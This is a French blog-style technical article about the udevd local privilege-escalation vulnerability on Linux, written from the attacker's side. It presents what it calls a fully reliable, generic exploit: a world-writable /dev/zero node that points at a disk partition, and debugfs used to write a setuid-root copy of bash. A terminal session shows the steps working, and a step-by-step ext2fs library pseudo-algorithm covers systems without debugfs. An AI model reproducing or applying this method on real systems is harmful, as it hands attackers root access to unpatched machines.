Une vulnérabilité dans udevd permettant une élévation de privilèges sur les systèmes Linux a récemment été découverte par Sebastian Krahmer. Des explications de la vulnérabilité, la manière de l'exploiter et le patch à appliquer sont présents çà et là. Des exploits ont même été diffusés sur milw0rm.
Une des méthodes d'exploitation est d'utiliser le fichier de règles 95-udev-late.rules et d'exécuter des commandes arbitraires en utilisant l'action remove. L'inconvénient de cette technique est que cette action n'est pas forcément présente sur toutes les distributions Linux (comme par exemple RedHat et ses dérivés) .
Une meilleure solution, complètement fiable de surcroit, est de créer un noeud de périphérique en mode 0666 qui accéde à une partition montée (/dev/zero vers /dev/sda1 par exemple). Il est alors possible de modifier les droits d'un binaire (typiquement pour le rendre suid) en accédant directement à bas niveau au système de fichiers.
En supposant que le système de fichiers rencontré est toujours ext{2,3} (il est en effet rare en pratique d'observer des partitions principales formatées en reiserfs, xfs ou autre), l'attaquant dispose de deux solutions. La première est d'utiliser debugfs et la commande set_inode_field (si) ou modify_inode (mi) (set_inode_field est uniquement présente dans les dernières versions de debugfs). debugfs étant fourni avec le package e2fsprogs dans lequel sont aussi présents mke2fs et e2fsck, nous pouvons supposer que cet outil est toujours présent sur les systèmes Linux.
En utilisant debugfs, on obtient alors :
$ ls -alp /dev/hda1
brw-rw---- 1 root disk 3, 1 Apr 30 02:23 /dev/hda1
$ ls -alp /dev/zero
brw-rw-rw- 1 root disk 3, 1 Apr 30 02:26 /dev/zero
$ sync
$ /sbin/debugfs -w /dev/zero
debugfs 1.41.3 (12-Oct-2008)
debugfs: mkdir .xxx
debugfs: cd .xxx
debugfs: write /bin/bash pwn
Allocated inode: 16
debugfs: set_inode_field pwn mode 0104755
debugfs: close
debugfs: quit
$ sync
$ ls -alp /tmp/.xxx/pwn
-rwsr-xr-x 1 compaq compaq 700492 Apr 30 02:30 /tmp/.xxx/pwnSi debugfs n'est pas présent, il est toujours possible d'utiliser la librairie ext2fs.
Afin de reproduire le scénario précédent, le pseudo algorithme à suivre pour rendre un binaire setuid peut alors être :
1/ Ouverture du périphérique en écriture avec ext2fs_open() et lecture des tables bitmaps de blocs et d'inodes avec ext2fs_read_inode_bitmap() et ext2fs_read_inode_bitmap().
2/ Création d'un répertoire (/tmp/.xxx par exemple en prenant soin de vérifier que /tmp n'est pas monté en nosuid et noexec) avec ext2fs_mkdir().
3/ Copie du binaire dans le répertoire précédement créé avec les fonctions ext2fs_namei(), ext2fs_new_inode() et ext2fs_link().
4/ Modification de la structure inode du fichier nouvellement créé avec les fonctions ext2fs_read_inode() et ext2fs_write_inode() pour lui donner les droits suid.
Il ne faut pas oublier de faire un sync() avant et après avoir accédé au système de fichiers afin qu'il soit mis à jour. A partir de là, on obtient un exploit complètement fiable et générique. La seule contrainte (qui n'en est pas vraiment une) est donc d'être sur un système de fichiers ext{2,3}.
